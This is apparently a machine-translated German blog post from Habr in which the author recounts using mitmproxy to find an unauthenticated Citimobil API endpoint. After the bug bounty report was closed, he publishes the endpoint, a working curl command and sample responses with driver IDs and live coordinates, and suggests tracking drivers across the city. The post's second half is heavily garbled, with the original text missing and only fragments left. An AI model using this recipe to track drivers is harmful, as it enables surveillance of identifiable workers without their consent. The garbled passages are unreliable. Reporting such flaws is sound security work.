Wie ich einen Weg gefunden habe, alle Citimobil-Fahrer zu verfolgen

Am Samstagabend saß ich wie immer da und schnüffelte Verkehr von meinem Telefon. Beim Öffnen der Citimobil-Anwendung sah ich plötzlich, dass eine interessante Anfrage ohne Authentifizierung ausgeführt wurde.

Es war eine Anfrage nach Informationen über die nächsten Autos. Nachdem ich diese Anforderung mehrmals mit unterschiedlichen Parametern erfüllt hatte, wurde mir klar, dass Sie Daten über Taxifahrer in fast Echtzeit entladen können. Stellen Sie sich vor, wie viele interessante Dinge Sie jetzt lernen können!



Wie hat alles angefangen?


Ja, ich saß wirklich da und beobachtete den Verkehr vom Telefon aus. Tatsache ist, dass ich Ingenieur bin und ständig studiere, wie Technologien und verschiedene Dinge um mich herum funktionieren. So war es diesmal.

Ich habe mitmproxy (Man In The Middle Proxy) verwendet, einen Mann im Middle Attack-Programm. Es gibt viele Anweisungen für die Installation und Konfiguration, und das allgemeine Prinzip lautet wie folgt:

  1. Stellen Sie von Ihrem Telefon und Computer aus eine Verbindung zum Heim-WLAN her
  2. Führen Sie mitmproxy auf dem Computer aus
  3. Auf dem Telefon registrieren Sie die lokale Adresse des Computers als Hauptproxy (Sie können bereits in http nachsehen).
  4. Laden Sie das Zertifikat auf Ihr Telefon herunter und bestätigen Sie es (Sie können in https nachsehen).

Grob gesagt wird der gesamte Datenverkehr vom Telefon zuerst zum Computer geleitet, entschlüsselt, auf dem Bildschirm angezeigt, verschlüsselt und fortgesetzt. Umgekehrt.

Auf diese Weise lerne ich, wie verschiedene Anwendungen erstellt werden, und manchmal finde ich sehr interessante Dinge. Diesmal sah ich beispielsweise eine Anfrage der Citimobil-Anwendung nach Informationen über die nächsten Fahrer, für die keine Authentifizierung erforderlich war.

Bug Kopfgeld Mail.ru


Ich habe alle Informationen auf hackerone gestellt und zur Überprüfung gesendet. Nach der Erfahrung der Interaktion mit der Yandex-Bugs-Bounty habe ich nicht mit einer schnellen Antwort gerechnet, aber nach 3 Minuten hat jemand "3apa3a" meinen Bericht geschlossen. Große Geschwindigkeit, Mail.ru!

Als Antwort darauf schrieben sie, dass die Daten dem Benutzer in der Anwendung angezeigt werden, was bedeutet, dass sie nicht vertraulich sind und nicht geschützt werden müssen.



Na dann. Da dies öffentliche Daten sind, lasst uns Spaß haben!

Wie bekomme ich Daten?


Informationen zu den 10 nächstgelegenen Fahrern zur Standortbestimmung erhalten Sie, indem Sie eine POST-Anfrage an die folgende Adresse senden:

https://c-api.city-mobil.ru/getdrivers

- :

{
    "latitude": LAT,
    "longitude": LON,
    "limit": 10,
    "method": "getdrivers",
    "radius": 5,
    "tariff_group": [ 4, 5, 6 ],
    "ver": "4.33.0"
}

tariff_group — . , , , ..
radius limit , , .

, :

curl -X POST --data '{ "latitude": 55.7, "limit": 10, "longitude": 37.6, "method": "getdrivers", "radius": 5, "tariff_group": [4], "ver": "4.33.0" }' https://c-api.city-mobil.ru/getdrivers

JSON 10 (LAT, LON) :

{ 
   "drivers":[ 
      { 
         "id":"1c1f6779f893af6fe5bf4509af7366cd",
         "lt":"55.7025061",
         "ln":"37.5954334",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort_plus"
      },
      { 
         "id":"1a13d0daad9b6a3fa2b3d04a5b6f8c2a",
         "lt":"55.7019682",
         "ln":"37.6054896",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort"
      },
      { 
         "id":"c7c1634fae41a68924083af1d496d0a7",
         "lt":"55.7014223",
         "ln":"37.6067352",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort_plus"
      },
      { 
         "id":"f15ce054ccdaa268b16a0904b9eecdae",
         "lt":"55.6956527",
         "ln":"37.5972063",
         "direction":"4",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"94ebc0fcc644bb1da4b57e7d23942e6d",
         "lt":"55.694786",
         "ln":"37.5982642",
         "direction":"4",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"7251c45ee945c9cb839d69d5902b9f17",
         "lt":"55.7009351",
         "ln":"37.6094206",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort"
      },
      { 
         "id":"cb9dab2ba7379c3db817dd76ec68e6c5",
         "lt":"55.6950137",
         "ln":"37.6041883",
         "direction":"8",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"761891d9c1129b1678c3eba616249e2b",
         "lt":"55.6944542",
         "ln":"37.5951122",
         "direction":"2",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"4f0e835751cadaa5d5386f0e1374f315",
         "lt":"55.7066516",
         "ln":"37.6011767",
         "direction":"7",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
         "lt":"55.7066801",
         "ln":"37.6009127",
         "direction":"8",
         "CarColorCode":"000000",
         "car_type":"comfort"
      }
   ],
   "nearest":{ 
      "duration":420
   },
   "service_status":1
}


,

{ 
    "id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
    "lt":"55.7066801",
    "ln":"37.6009127",
    "direction":"8",
    "CarColorCode":"000000",
    "car_type":"comfort"
}

, , , (-), . !

!


, 10 , N , N .

. , , , . , — mail.ru ip.

«», . .

,



, ?
11 4374

? .



. ?



- .



, . .

?


, .

-, «».

-, (, .) . , . , , .

-, , . . , , «», , .


, .

Mail.ru , , ., . .

Mail.ru , , bug bounty.

?

, ! , .

!

Source: https://habr.com/ru/post/de480956/


All Articles